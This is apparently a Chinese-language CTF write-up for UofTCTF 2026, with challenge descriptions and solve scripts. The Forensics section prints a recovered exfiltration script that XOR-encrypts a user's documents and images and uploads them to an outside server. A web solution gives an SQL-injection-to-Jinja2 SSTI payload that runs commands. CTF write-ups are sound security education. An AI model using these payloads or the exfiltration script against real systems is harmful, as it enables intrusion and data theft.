2026UofTCTF

January 11, 2026 ·  ·

目录

2026UofTCTF

Misc

Reverse Wordle | 状态:solved|Live

题目描述

My friend said they always use the same starting word, can you help me find out what it is?

Submit the sha256 hash of the ALL CAPS word wrapped in the flag format uoftctf{…}

WriteUp

把三局的“第一行反馈”分别用三局答案去约束(1=REBUT,67=CRASS,1336=DITTY)后,在官方可猜词表里唯一能同时满足三组反馈的起手词是:SQUIB。

  • Wordle 1 答案:REBUT
  • Wordle 67 答案:CRASS
  • Wordle 1336 答案:DITTY

对 ALL CAPS 的 SQUIB 做 SHA-256 得到:64b28ded00856c89688f8376f58af02dc941535cbb0b94ad758d2a77b2468646

所以正确提交是:

uoftctf{64b28ded00856c89688f8376f58af02dc941535cbb0b94ad758d2a77b2468646}

Encryption Service | 状态:running|Reproduction

题目描述

We made an encryption service. We forgot to make the decryption though. As compensation we are giving free encrypted flags

nc 34.86.4.154 5000

WriteUp

奇怪的漏洞点,很新鲜,没见过,再看看

Guess The Number | 状态:solved|Live

题目描述

Guess my super secret number

nc 35.231.13.90 5000

WriteUp

单纯的猜测,在未知量是 100 bit,每次询问只回 Yes/No,最多 1 bit 信息。50 次最多 50 bit 信息,不够唯一确定 x。

因此需要构造延时条件做侧信道

这里构造了以下两个延时组件:

1
2
delay_true_expr  = (2 ** DELAY_EXP) > 0   # 计算很慢,但结果恒 True
delay_false_expr = (2 ** DELAY_EXP) < 0   # 计算很慢,但结果恒 False

Python 的 and/or 是短路的:A and B:如果 A 为 False,B 根本不会算,A or B:如果 A 为 True,B 根本不会算,而evaluate() 里写的就是 Python 原生的 and/or,所以短路同样成立。

本地很快就通了,但是远程一直不行,网络背大锅,导致一直调大参数

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
import pwn
import time
import sys

# Set logging level
pwn.context.log_level = 'info'

def solve():
    if len(sys.argv) > 2:
        host = sys.argv[1]
        port = int(sys.argv[2])
    else:
        host = "35.231.13.90"
        port = 5000

    pwn.log.info(f"Connecting to {host}:{port}")
    io = pwn.remote(host, port)

    DELAY_EXP = 80000000
    TIME_THRESHOLD = 2.5
    
    # Range [L, R)
    L = 0
    R = 1 << 100
    
    # Delay expressions
    # DelayTrue: Returns True, Slow
    # DelayFalse: Returns False, Slow
    delay_true_expr = {'op': '>', 'arg1': {'op': '**', 'arg1': 2, 'arg2': DELAY_EXP}, 'arg2': 0}
    delay_false_expr = {'op': '<', 'arg1': {'op': '**', 'arg1': 2, 'arg2': DELAY_EXP}, 'arg2': 0}

    for i in range(50):
        size = R - L
        pwn.log.info(f"Round {i}: Range=[{L}, {R}) size={size}")
        
        if size <= 1:
            # Burn remaining rounds
            pwn.log.info("Found number (or close enough), burning rounds")
            io.sendlineafter(b': ', b'1')
            io.recvline()
            continue
            
        # Calculate cut points
        M1 = L + (size * 1) // 4
        M2 = L + (size * 2) // 4
        M3 = L + (size * 3) // 4
        
        # Logic:
        # Query = ( (x >= M2) and ( (x < M3) or DelayTrue ) ) or ( (x >= M1) and DelayFalse )
        
        # Construct parts
        # P1 = (x >= M2)
        p1 = {'op': '>=', 'arg1': 'x', 'arg2': M2}
        
        # P2 = (x < M3) or DelayTrue
        p2 = {'op': 'or', 'arg1': {'op': '<', 'arg1': 'x', 'arg2': M3}, 'arg2': delay_true_expr}
        
        # Left Side = P1 and P2
        left_side = {'op': 'and', 'arg1': p1, 'arg2': p2}
        
        # P3 = (x >= M1)
        p3 = {'op': '>=', 'arg1': 'x', 'arg2': M1}
        
        # Right Side = P3 and DelayFalse
        right_side = {'op': 'and', 'arg1': p3, 'arg2': delay_false_expr}
        
        # Full Query = Left Side or Right Side
        query = {'op': 'or', 'arg1': left_side, 'arg2': right_side}
        
        # Send and measure
        # Wait for prompt to ensure clean timing
        io.readuntil(b': ')
        
        start = time.time()
        io.sendline(str(query).encode())
        res = io.recvline().decode().strip()
        end = time.time()
        
        duration = end - start
        is_slow = duration > TIME_THRESHOLD
        is_yes = (res == "Yes!")
        
        pwn.log.info(f"Time={duration:.4f}s (Slow={is_slow}), Response={res}")
        
        # Determine Interval
        # False, Fast -> Q0: [L, M1)
        # False, Slow -> Q1: [M1, M2)
        # True, Fast  -> Q2: [M2, M3)
        # True, Slow  -> Q3: [M3, R)
        
        if not is_yes and not is_slow:
            # Q0
            R = M1
            pwn.log.info("Inferred: Q0 (False, Fast)")
        elif not is_yes and is_slow:
            # Q1
            L = M1
            R = M2
            pwn.log.info("Inferred: Q1 (False, Slow)")
        elif is_yes and not is_slow:
            # Q2
            L = M2
            R = M3
            pwn.log.info("Inferred: Q2 (True, Fast)")
        elif is_yes and is_slow:
            # Q3
            L = M3
            pwn.log.info("Inferred: Q3 (True, Slow)")
        
    # Final guess
    pwn.log.info(f"Final Range: [{L}, {R})")
    guess = L
    pwn.log.info(f"Guessing: {guess}")
    
    io.sendlineafter(b'Guess the number: ', str(guess).encode())
    
    # Read flag
    result = io.recvall().decode()
    print(result)

if __name__ == "__main__":
    solve()

image

Lottery | 状态:running|Reproduction

题目描述

Han Shangyan quietly gives away all his savings to protect someone he cares about, leaving himself with nothing. Now broke, his only hope is chance itself.

Can you help Han Shangyan win the lottery?

nc 35.245.30.212 5000

WriteUp

暂无

K&K Training Room | 状态:running|Reproduction

题目描述

Welcome to the K&K Training Room. Before every match, players must check in through the bot.

A successful check in grants the K&K role, opening access to team channels and match coordination.

https://discord.gg/3u6V8uAGm7

WriteUp

暂无

File Upload | 状态:running|Reproduction

题目描述

Upload and download files

WriteUp

暂无

Vibe Code | 状态:running|Reproduction

题目描述

AI is so ubiquitous in CTF, so I am forcing you to use it to solve this easy C jail.

nc 34.23.133.46 5000

WriteUp

暂无

Nothing Ever Changes | 状态:running|Reproduction

题目描述

While conducting her research on artificial intelligence, Tong Nian claims to have found a way to create adversarial examples without changing anything at all. Her colleagues are skeptical. Can you help her hash out the details of her approach and verify its validity?

Try it out here!

WriteUp

暂无

OSINT

Go Go Coaster! | 状态:solved|Live

题目描述

During an episode of Go Go Squid!, Han Shangyan was too scared to go on a roller coaster. What’s the English name of this roller coaster? Also, what’s its height in whole feet?

Flag format: uoftctf{Coaster_Name_HEIGHT}

Example: uoftctf{Yukon_Striker_999}

Notes:

  1. Flag is case-insenstive, just remember to replace spaces with underscores and no decimal points

WriteUp

《亲爱的,热爱的》(Go Go Squid!)第 12 集去的 上海欢乐谷里那台“主角认证的恐怖级跌落式过山车(近 90 度垂直俯冲)”。

这台过山车在英文资料里的名称就是:

  • Diving Coaster(地点:Happy Valley Shanghai / 上海欢乐谷)
  • 高度:​65 m,折合 ​约 213 英尺(whole feet 取 213)。
1
uoftctf{Diving_Coaster_213}

Go Go Cabinet! | 状态:running|Reproduction

题目描述

I really like Go Go Squid! In fact, I like it so much that I even bought the same model of cabinet that is in the series!

Can you find:

  1. The first and last name of the designer of this cabinet?
  2. The episode and timestamp that this cabinet first appears at all in the series on YouTube?

Flag format: uoftctf{First_Last_EpisodeNum_MM:SS}

Example: uoftctf{John_Doe_06_07:27}

Notes:

  1. Mind the flag format/example :)
  2. There is a 1-second fowards leniency in the timestamp (if 1:00 is correct, then 1:01 is correct)

WriteUp

暂无

My Shikishi is Fake! | 状态:running|Reproduction

题目描述

After the whole incident with Pokemon cards, Han Shangyan decided to buy Tong Nian shikishis autographed by famous manga artists instead. He came across this seller with autographs and sketches done by creators of Dragon Ball, Chainsaw Man, and more, all with certificates of authenticity and money-back guarantees! Surely this is too good to be true?

Turns out that this particular brand of high-quality fakes have been in production for over a decade, spanning multiple platforms, sellers, and authentication company names, though one name is always constant: the appraiser’s.

What you will need to find:

  1. First and last name of the appraiser in Japanese (how it appears on the certificate).
  2. Email that is tied to one of the organizations that the certificate is issued by.
  3. The year that they were reborn and started to expand the scope of their activities.
  4. PSA did another oopsie authenticating one of these fakes, a shikishi of Draken and Mikey, which a foreigner unfortunately bought and posted. Find its certification number.

The flag format will be uoftctf{JPNAME_EMAIL_YEAR_CERT}

Example: uoftctf{山田太郎_example@example.com_9999_AA99999}

Notes:

  1. OSINTing the author will not help, though you are free to do so.
  2. Flag is case-sensitive.

WriteUp

暂无

T1 | 状态:solved/running|Reproduction

题目描述

Han Shangyan wanted to buy an autographed Pokemon card for Tong Nian. Unfortunately, he found out that it was fake! He wants to find out more about this forger, but they have deleted the auction! Can you help him put a stop to this 2-year-long scheme?

https://auctions.yahoo.co.jp/jp/auction/t1101312767

What you will need to find:

  1. The link to the forger’s Yahoo Japan Auctions profile
  2. The link to the forger’s Mercari profile, where they still sell similar forgeries to this day
  3. One of the seller’s forgeries of the same Pokemon artist as the forgery in the link given was graded and authenticated with PSA (most trustworthy grading service btw)! Find how much yen it sold for originally.
  4. The first and last name of the Pokemon artist of the first autograph in the PSA submission that the forger submitted that contains the card from (3).
  5. Finally, the forger copied the card from (3) from a real signing event to make it look real. What Pokemon artist was first to autograph in that event? Get their twitter username.

The flag format will be uoftctf{URL1_URL2_AMT_FIRSTNAME_LASTNAME_USERNAME}

Copy the full URLs.

Example: uoftctf{https://auctions.yahoo.co.jp/seller/fhrh2HFHdqw229nrr34r89jdg_https://jp.mercari.com/user/profile/999999_99999_John_Doe_example}

Notes:

  1. OSINTing the author will not help you, though you are free to do so.
  2. Flag is case-insensitive.

WriteUp

暂无

Forensics

Baby Exfil | 状态:solved|Live

题目描述

Team K&K has identified suspicious network activity on their machine. Fearing that a competing team may be attempting to steal confidential data through underhanded means, they need your help analyzing the network logs to uncover the truth.

WriteUp

翻找流量找到了恶意脚本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import os
import requests

key = "G0G0Squ1d3Ncrypt10n"
server = "http://34.134.77.90:8080/upload"

def xor_file(data, key):
    result = bytearray()
    for i in range(len(data)):
        result.append(data[i] ^ ord(key[i % len(key)]))
    return bytes(result)

base_path = r"C:\Users\squid\Desktop"
extensions = ['.docx', '.png', ".jpeg", ".jpg"]

for root, dirs, files in os.walk(base_path):
    for file in files:
        if any(file.endswith(ext) for ext in extensions):
            filepath = os.path.join(root, file)
            try:
                with open(filepath, 'rb') as f:
                    content = f.read()
                
                encrypted = xor_file(content, key)
                hex_data = encrypted.hex()
                requests.post(server, files={'file': (file, hex_data)})
                
                print(f"Sent: {file}")
            except:
                pass

从流57开始可以找到几个upload接口的记录

image

然后提取逆向即可

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
import scapy.all as scapy
import re
import os

PCAP_FILE = '/Users/joker/Code/2026Uoftctf/Forensics/final.pcapng'
KEY = "G0G0Squ1d3Ncrypt10n"
OUTPUT_DIR = '/Users/joker/Code/2026Uoftctf/Forensics/extracted'

if not os.path.exists(OUTPUT_DIR):
    os.makedirs(OUTPUT_DIR)

def xor_file(data, key):
    result = bytearray()
    for i in range(len(data)):
        result.append(data[i] ^ ord(key[i % len(key)]))
    return bytes(result)

print(f"Reading {PCAP_FILE}...")
try:
    packets = scapy.rdpcap(PCAP_FILE)
    print(f"Read {len(packets)} packets.")
except Exception as e:
    print(f"Error reading pcap: {e}")
    exit(1)

# Target: 34.134.77.90:8080
target_ip = "34.134.77.90"
target_port = 8080

# Organize packets by TCP stream
streams = {}

for pkt in packets:
    if scapy.TCP in pkt and scapy.IP in pkt:
        ip = pkt[scapy.IP]
        tcp = pkt[scapy.TCP]
        
        if ip.dst == target_ip and tcp.dport == target_port:
            stream_key = (ip.src, tcp.sport, ip.dst, tcp.dport)
            if stream_key not in streams:
                streams[stream_key] = []
            streams[stream_key].append(pkt)

print(f"Found {len(streams)} streams to target.")

for stream_key, stream_packets in streams.items():
    # Sort by sequence number to handle out-of-order
    stream_packets.sort(key=lambda p: p[scapy.TCP].seq)
    unique_packets = []
    seen_seqs = set()
    for p in stream_packets:
        seq = p[scapy.TCP].seq
        # We also need to consider payload length, but simple seq check helps
        if seq not in seen_seqs:
            unique_packets.append(p)
            seen_seqs.add(seq)
    
    # Reassemble payload
    full_payload = b""
    for p in unique_packets:
        if scapy.Raw in p:
            full_payload += p[scapy.Raw].load
    
    print(f"Stream {stream_key}: {len(stream_packets)} packets, payload size: {len(full_payload)}")
    if len(full_payload) > 0:
        print(f"  Head: {full_payload[:50]}")

    if len(full_payload) > 0:
        # Check if it looks like a multipart body (starts with --)
        # OR contains POST /upload
        if b"POST /upload" in full_payload:
            print(f"Processing stream {stream_key} (Found POST header)")
            # Try to find boundary in headers
            boundary_match = re.search(rb'Content-Type: multipart/form-data; boundary=(.+?)\r\n', full_payload)
            if boundary_match:
                boundary = boundary_match.group(1)
            else:
                # Fallback: try to find boundary from body start
                # Look for first line starting with --
                match = re.search(rb'(--[a-zA-Z0-9]+)\r\n', full_payload)
                if match:
                    boundary = match.group(1)[2:] # strip --
                else:
                    print("  No boundary found.")
                    continue
        elif full_payload.startswith(b'--'):
            print(f"Processing stream {stream_key} (Found Body start)")
            # Extract boundary from first line
            first_line_end = full_payload.find(b'\r\n')
            if first_line_end != -1:
                boundary = full_payload[2:first_line_end]
            else:
                print("  Cannot parse boundary.")
                continue
        else:
            continue
            
        print(f"  Boundary: {boundary}")
        
        # Split by boundary
        # The body parts are separated by --boundary
        parts = full_payload.split(b'--' + boundary)
        
        for part in parts:
            if b'filename="' in part:
                # Extract filename
                filename_match = re.search(rb'filename="(.+?)"', part)
                if filename_match:
                    filename = filename_match.group(1).decode('utf-8', errors='ignore')
                    
                    # Extract content
                    # Look for double CRLF
                    header_end = part.find(b'\r\n\r\n')
                    if header_end != -1:
                        # The content ends with \r\n before the next boundary, 
                        # but split() removed the next boundary.
                        # However, the part string might end with \r\n (or \r\n--)
                        # The split consumes '--boundary', but the preceding \r\n is part of the 'part' string usually?
                        # Actually, multipart format is:
                        # --boundary\r\nHeaders\r\n\r\nBody\r\n--boundary
                        
                        # So 'part' will start with \r\nHeaders... and end with \r\n
                        
                        body = part[header_end+4:]
                        # Trim trailing \r\n
                        if body.endswith(b'\r\n'):
                            body = body[:-2]
                        
                        # The body is the hex string
                        try:
                            hex_str = body.decode('ascii').strip()
                            # It might be very long
                            print(f"  Found file: {filename}, hex length: {len(hex_str)}")
                            
                            encrypted_bytes = bytes.fromhex(hex_str)
                            decrypted_bytes = xor_file(encrypted_bytes, KEY)
                            
                            save_path = os.path.join(OUTPUT_DIR, os.path.basename(filename))
                            with open(save_path, 'wb') as f:
                                f.write(decrypted_bytes)
                            print(f"  Success: Saved to {save_path}")
                            
                        except Exception as e:
                            print(f"  Failed to process {filename}: {e}")

在其中一张图里找到了flag

image

1
uoftctf{b4by_w1r3sh4rk_an4lys1s}

My Pokemon Card is Fake! | 状态:running|Reproduction

题目描述

Han Shangyan noticed that recently, Tong Nian has been getting into Pokemon cards. So, what could be a better present than a literal prototype for the original Charizard? Not only that, it has been authenticated and graded a PRISTINE GEM MINT 10 by CGC!!!

Han Shangyan was able to talk the seller down to a modest 6-7 figure sum (not kidding btw), but when he got home, he had an uneasy feeling for some reason. Can you help him uncover the secrets that lie behind these cards?

What you will need to find:

  1. Date and time (relative to the printer, and 24-hour clock) that it was printed.
  2. Printer’s serial number.

The flag format will be uoftctf{YYYY_MM_DD_HH:MM_SERIALNUM}

Example: uoftctf{9999_09_09_23:59_676767676}

Notes:

  1. You’re free to dig more into the whole situation after you’ve solved the challenge, it’s very interesting, though so much hasn’t been or can’t be said :(
  2. Two days after I write this challenge, I’m going to meet the person whose name was used for all this again. Hopefully I’ll be back to respond to tickets!!!

WriteUp

暂无

Web

No Quotes | 状态:solved|Live

题目描述

Unless it’s from “Go Go Squid!”, no quotes are allowed here! Let this wholesome quote heal your soul:

Ai Qing: “If you didn’t know about robot combat back then, what would you be doing?”

Wu Bai: “There’s no if. As long as you’re here, I’ll be here.”

WriteUp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
import requests
import sys

# Configuration
TARGET_URL = "http://localhost:5001"
if len(sys.argv) > 1:
    TARGET_URL = sys.argv[1]

if not TARGET_URL.startswith("http://") and not TARGET_URL.startswith("https://"):
    TARGET_URL = "https://" + TARGET_URL

LOGIN_URL = f"{TARGET_URL}/login"
HOME_URL = f"{TARGET_URL}/home"

def solve():
    print(f"[*] Targeting: {TARGET_URL}")

    # SSTI Payload to execute /readflag
    # We use the standard RCE payload for Jinja2
    ssti_payload = "{{ self.__init__.__globals__.__builtins__.__import__('os').popen('/readflag').read() }}"
    
    # Convert payload to hex for SQL injection (to avoid quotes)
    ssti_hex = "0x" + ssti_payload.encode().hex()
    
    # SQL Injection Payload
    # Username: \  -> Escapes the closing quote, consuming the query up to the next quote
    # Password: UNION SELECT 1, <HEX_PAYLOAD> #
    #
    # Query logic:
    # SELECT ... WHERE username = ('{username}') AND password = ('{password}')
    # With username=\:
    # SELECT ... WHERE username = ('\') AND password = ('{password}')
    # The string literal becomes: ') AND password = (
    # The rest of the query is interpreted as SQL: {password}')
    # We inject UNION SELECT to return our payload as the username.
    
    username = "\\"
    # We need to close the parenthesis opened by "username = ("
    # The backslash consumed the original closing quote and parenthesis into the string.
    # So the query structure is: WHERE username = ( 'string_literal' [INJECTED]
    # We need to add ')' to close it.
    password = f") UNION SELECT 1, {ssti_hex} -- "
    
    print("[*] Sending exploit payload...")
    session = requests.Session()
    data = {
        "username": username,
        "password": password
    }
    
    response = session.post(LOGIN_URL, data=data)
    
    if response.status_code == 200 and "Invalid credentials" in response.text:
        print("[-] Login failed. Exploit might need adjustment.")
        # Debugging output
        # print(response.text)
        return

    # Check if we are redirected or logged in
    # The app returns a redirect on success, requests follows it automatically
    if response.url == HOME_URL or "Welcome," in response.text:
        print("[+] Login successful! Checking for flag...")
        
        # The home page renders the username using render_template_string
        # triggering the SSTI payload.
        if "uoftctf{" in response.text:
            flag = response.text.split("uoftctf{")[1].split("}")[0]
            print(f"[+] Flag found: uoftctf{{{flag}}}")
        else:
            print("[+] Payload executed, but no flag in response.")
            print("Response content:")
            print(response.text)
    else:
        print("[-] Unexpected response.")
        print(f"Status: {response.status_code}")
        print(f"URL: {response.url}")

if __name__ == "__main__":
    solve()

Firewall | 状态:running|Reproduction

题目描述

Free flag at /flag.html

curl http://35.227.38.232:5000

WriteUp

暂无

Personal Blog | 状态:running|Reproduction

题目描述

For your eyes only?

Visit the website here.

WriteUp

暂无

No Quotes 2 | 状态:running|Reproduction

题目描述

Unless it’s from “Go Go Squid!”, no quotes are allowed here! Let this wholesome quote heal your soul:

Ai Qing: “If you didn’t know about robot combat back then, what would you be doing?”

Wu Bai: “There’s no if. As long as you’re here, I’ll be here.”

Now complete with a double check for extra security!

WriteUp

暂无

No Quotes 3 | 状态:running|Reproduction

题目描述

Unless it’s from “Go Go Squid!”, no quotes are allowed here! Let this wholesome quote heal your soul:

Ai Qing: “If you didn’t know about robot combat back then, what would you be doing?”

Wu Bai: “There’s no if. As long as you’re here, I’ll be here.”

Now complete with a double check for extra security AND ​proper hashing!

(The author also hates periods and is 6'7" btw)

WriteUp

暂无

Pasteboard | 状态:running|Reproduction

题目描述

For Team K&K, dating is forbidden. So Mi Shaofei and Sun Yaya hide their relationship the only way they can: by slipping messages into a notes sharing app.

WriteUp

暂无

Unrealistic Client-Side Challenge - Flag 1 | 状态:running|Reproduction

题目描述

Han Shangyan was tired of Team K&K getting skill-diffed every time they were faced with client-side web challenges. After some self-reflection, he finally accepted that training his squad solely with aim trainers might not be the best approach. Instead, he decided to make a totally realistic CTF challenge for his team to practice on.

Submit flag 1 here. Both challenges use the same attachment.

Note: Port 5001 is not exposed on the remote instance. However, the bot can still access it and this does not interfere with the intended solution.

WriteUp

暂无

Vulnerability Research | 状态:running|Reproduction

题目描述

Inspired by the recent 10.0 CVSS react2shell vulnerability, Han Shangyan decided to embark on a web application framework auditing journey himself. He stumbled upon this old web framework. Can you help him audit it for any bugs?

Note: This challenge involves exploiting a real 0-day. Please refrain from posting writeups or sharing details about the vulnerability publicly until it has been patched by the maintainers.

WriteUp

暂无

Unrealistic Client-Side Challenge - Flag 2 | 状态:running|Reproduction

题目描述

Han Shangyan was tired of Team K&K getting skill-diffed every time they were faced with client-side web challenges. After some self-reflection, he finally accepted that training his squad solely with aim trainers might not be the best approach. Instead, he decided to make a totally realistic CTF challenge for his team to practice on.

Submit flag 2 here. Both challenges use the same attachment.

Note: Port 5001 is not exposed on the remote instance. However, the bot can still access it and this does not interfere with the intended solution.

WriteUp

暂无

Rev

Baby (Obfuscated) Flag Checker | 状态:solved|Live

题目描述

All this obfuscation has left Han Shangyan seeing double. Even Grunt refuses to untangle this mess for him, so it’s up to you to do the real gruntwork (hahaha get it???).

Hint: This challenge can be solved without fully deobfuscating the script, but writing a deobfuscator might help you with the “ML Connoisseur” challenge…

WriteUp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68

def lcg_random(seed):
    state = seed
    while True:
        # Based on GGs logic:
        # if g0gOSqu1D == 853: ... return G0Gosqu1D * 1103515245 + 12345 & 2147483647
        return (state * 1103515245 + 12345) & 2147483647

def get_permutation(n):
    # Based on Ggs logic
    state = 195936478 # GGs_675671 initial value
    items = list(range(n))
    result = []
    while items:
        state = lcg_random(state)
        idx = state % len(items)
        result.append(items.pop(idx))
    return result

def get_expected_chunk(idx):
    # G0gosQu1D data
    ENCRYPTED_CHUNKS = [
        [13, 73, 41, 30, 53, 34], 
        [8, 18, 27, 9, 30, 9, 27, 6, 25, 76, 25, 34], 
        [37, 57, 66, 66, 66, 0], 
        [25, 78, 63, 8, 58, 34], 
        [77, 19, 78, 34, 14, 21, 77, 74, 34], 
        [73, 19, 34, 76, 49, 48, 34], 
        [15, 78, 11, 34, 77, 15, 34], 
        [9, 21, 76, 72, 34, 10, 76, 74, 21, 34], 
        [4, 77, 8, 34, 16, 77, 19, 22, 78, 36, 34]
    ]
    key = 125 # (90 ^ 60) + 23 & 255
    return "".join(chr(c ^ key) for c in ENCRYPTED_CHUNKS[idx])

def get_chunk_position(target_idx):
    CHUNK_LENGTHS = [6, 12, 6, 6, 9, 7, 7, 10, 11] # sQU1D
    CHUNK_ORDER = [1, 8, 0, 3, 6, 4, 7, 5, 2] # SqUId
    
    pos = 0
    for idx in CHUNK_ORDER:
        if idx == target_idx:
            return pos
        pos += CHUNK_LENGTHS[idx]
    return pos

def solve():
    perm = get_permutation(9)
    print(f"Permutation: {perm}")
    
    # Flag length is 74 (checked in line 197)
    flag_chars = [''] * 74
    
    for idx in perm:
        chunk = get_expected_chunk(idx)
        pos = get_chunk_position(idx)
        print(f"Chunk {idx}: '{chunk}' at pos {pos}")
        
        for i, c in enumerate(chunk):
            if pos + i < 74:
                flag_chars[pos + i] = c
            else:
                print(f"Error: Index out of bounds {pos+i}")
                
    print("Flag:", "".join(flag_chars))

if __name__ == "__main__":
    solve()

Bring Your Own Program | 状态:running|Reproduction

题目描述

Team K&K discovered a mysterious emulator for an unknown architecture. I wonder what kind of programs it can run…

nc 35.245.96.82 5000

WriteUp

暂无

Symbol of Hope | 状态:running|Reproduction

题目描述

Like a beacon in the dark, Go Go Squid! stands as a symbol of hope to those who seek to be healed.

WriteUp

暂无

Will u Accept Some Magic? | 状态:running|Reproduction

题目描述

How does Kotlin compile to wasm so well? Where did my heap go?

Wrap the password in uoftctf{}

WriteUp

暂无

ML Connoisseur | 状态:running|Reproduction

题目描述

Tong Nian is a talented machine learning student. She claims to have built a classifier, but never revealed what it is supposed to recognize. The model behaves oddly, and its purpose is unclear. Can you figure out what it’s really classifying?

Download: https://uoftctf-2026-downloads.uoftctf.org/ml-connoisseur.zip

Example usage: python chal.py examples/0.png

WriteUp

暂无

Crypto

Leaked d | 状态:solved|Live

题目描述

Someone leaked my d, surely generating a new key pair is safe enough.

n1=144193923737869044259998596038292537217126517072587407189785154961344425600188709243733103713567903690926695626210849582322575275021963176688615503362430255878068025864333805901831356111202249176714839010151878345993886718863579928588098080351940561045688931786378656665718140998014299097023143181095121810219

e1=65537

d1=12574092103116126584156918631595005114605155027996964036950457918490065036621732354668884564796078087090438462300608898225025828108557296714458055780952572974382089675780912070693778415852291145766476219909978391880801604060224785419022793121117332853938170749724540897211958251465747669952580590146500249193

e2=6767671

c=31703515320997441500407462163885912085193988887521686491271883832485018463764003313655377418478488372329742364292629844576532415828605994734718987367062694340608380583593689052813716395874850039382743513756381017287371000882358341440383454299152364807346068866304481227367259672607408256375720022838698292966

WriteUp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from Crypto.Util.number import inverse, long_to_bytes
import math

# ================== 已知参数 ==================
n = 144193923737869044259998596038292537217126517072587407189785154961344425600188709243733103713567903690926695626210849582322575275021963176688615503362430255878068025864333805901831356111202249176714839010151878345993886718863579928588098080351940561045688931786378656665718140998014299097023143181095121810219

e1 = 65537
d1 = 12574092103116126584156918631595005114605155027996964036950457918490065036621732354668884564796078087090438462300608898225025828108557296714458055780952572974382089675780912070693778415852291145766476219909978391880801604060224785419022793121117332853938170749724540897211958251465747669952580590146500249193

e2 = 6767671

c = 31703515320997441500407462163885912085193988887521686491271883832485018463764003313655377418478488372329742364292629844576532415828605994734718987367062694340608380583593689052813716395874850039382743513756381017287371000882358341440383454299152364807346068866304481227367259672607408256375720022838698292966

# ================== Step 1: 恢复 φ(n) ==================
k = e1 * d1 - 1

# 尝试分解 k = φ(n) * t
for t in range(1, 1_000_000):
    if k % t != 0:
        continue

    phi = k // t

    # 解二次方程 x^2 - (n - phi + 1)x + n = 0
    s = n - phi + 1
    delta = s * s - 4 * n
    if delta < 0:
        continue

    r = int(math.isqrt(delta))
    if r * r != delta:
        continue

    p = (s + r) // 2
    q = (s - r) // 2

    if p * q == n:
        print("[+] Found factors!")
        break
else:
    raise Exception("Failed to factor n")

# ================== Step 2: 计算新的私钥 d2 ==================
phi = (p - 1) * (q - 1)
d2 = inverse(e2, phi)

# ================== Step 3: 解密 ==================
m = pow(c, d2, n)
print(long_to_bytes(m))

Gambler’s Fallacy | 状态:solved|Live

题目描述

can we win a zillion dollars tonight?

algorithms inspired by primedice

nc 34.162.20.138 5000

WriteUp

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235

import socket
import re
import random
import hmac
import hashlib
import time
import sys

# Untempering functions
def undo_right_shift_xor(y, shift):
    x = y
    for _ in range(shift, 32, shift):
        x = y ^ (x >> shift)
    return x

def undo_left_shift_xor_mask(y, shift, mask):
    x = y
    for _ in range(shift, 32, shift):
        x = y ^ ((x << shift) & mask)
    return x

def untemper(y):
    y = undo_right_shift_xor(y, 18)
    y = undo_left_shift_xor_mask(y, 15, 0xefc60000)
    y = undo_left_shift_xor_mask(y, 7, 0x9d2c5680)
    y = undo_right_shift_xor(y, 11)
    return y

def calculate_roll(server_seed, client_seed, nonce):
    nonce_client_msg = f"{client_seed}-{nonce}".encode()
